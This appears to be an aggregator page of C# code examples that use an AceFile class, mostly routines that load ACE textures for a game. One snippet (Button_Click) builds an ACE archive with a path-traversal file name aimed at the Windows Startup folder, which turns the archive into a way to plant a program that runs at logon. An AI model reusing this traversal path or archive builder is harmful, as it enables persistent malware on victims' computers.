Exemplo n.º 1
0
        public static void LoadAceFiles(GraphicsDevice graphicsDevice, string directory, IEnumerable <string> filenames)
        {
            //first remove content of old textures
            if (oldAceFiles != null)
            {
                foreach (string textureName in oldAceFiles)
                {
                    textures.Remove(textureName);
                }
            }

            foreach (string filename in filenames)
            {
                string textureName = filename;
                string path        = directory + filename;
                oldAceFiles = new List <string>();
                if (System.IO.File.Exists(path))
                {
                    Texture2D texture = AceFile.Texture2DFromFile(graphicsDevice, path);
                    textures[textureName]       = texture;
                    textureScales[textureName]  = texture.Width;
                    textureOffsets[textureName] = new Vector2(texture.Width / 2, texture.Height / 2);
                    oldAceFiles.Add(textureName);
                }
            }
        }
        private void Button_Click(object sender, RoutedEventArgs e)
        {
            AceVolume av = new AceVolume();
            AceFile   f  = new AceFile(
                EvilFileName.Text,
                @"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" + EvilFileName.Text
                );

            av.AddFile(f);
            av.Save(FileOutName.Text);
            MessageBox.Show("Done");
        }
        protected override Texture2D GetTexture(Game game)
        {
            Texture2D      texture;
            GraphicsDevice gd            = game.RenderProcess.GraphicsDevice;
            string         defaultScreen = "load.ace";

            string loadingScreen = Simulator.Instance.TRK.Route.LoadingScreen;

            if (IsWideScreen(game))
            {
                string loadingScreenWide = Simulator.Instance.TRK.Route.LoadingScreenWide;
                loadingScreen = loadingScreenWide ?? loadingScreen;
            }
            loadingScreen = loadingScreen ?? defaultScreen;
            string path = Path.Combine(Simulator.Instance.RoutePath, loadingScreen);

            if (Path.GetExtension(path) == ".dds" && File.Exists(path))
            {
                DDSLib.DDSFromFile(path, gd, true, out texture);
            }
            else if (Path.GetExtension(path) == ".ace")
            {
                string alternativeTexture = Path.ChangeExtension(path, ".dds");

                if (File.Exists(alternativeTexture) && game.Settings.PreferDDSTexture)
                {
                    DDSLib.DDSFromFile(alternativeTexture, gd, true, out texture);
                }
                else if (File.Exists(path))
                {
                    texture = AceFile.Texture2DFromFile(gd, path);
                }
                else
                {
                    path = Path.Combine(Simulator.Instance.RoutePath, defaultScreen);
                    if (File.Exists(path))
                    {
                        texture = AceFile.Texture2DFromFile(gd, path);
                    }
                    else
                    {
                        texture = null;
                    }
                }
            }
            else
            {
                texture = null;
            }
            return(texture);
        }
Exemplo n.º 4
0
 /// <summary>
 /// Try to load the file.
 /// Possibly this might raise an exception. That exception is not caught here
 /// </summary>
 /// <param name="file">The file that needs to be loaded</param>
 public override void TryLoading(string file)
 {
     Microsoft.Xna.Framework.Graphics.GraphicsDevice graphicsDevice = GetGraphicsDevice();
     _ = AceFile.Texture2DFromFile(graphicsDevice, file);
 }
Exemplo n.º 5
0
 /// <summary>
 /// Try to load the file.
 /// Possibly this might raise an exception. That exception is not caught here
 /// </summary>
 /// <param name="file">The file that needs to be loaded</param>
 public override void TryLoading(string file)
 {
     var graphicsDevice = GetGraphicsDevice();
     var texture        = AceFile.Texture2DFromFile(graphicsDevice, file);
 }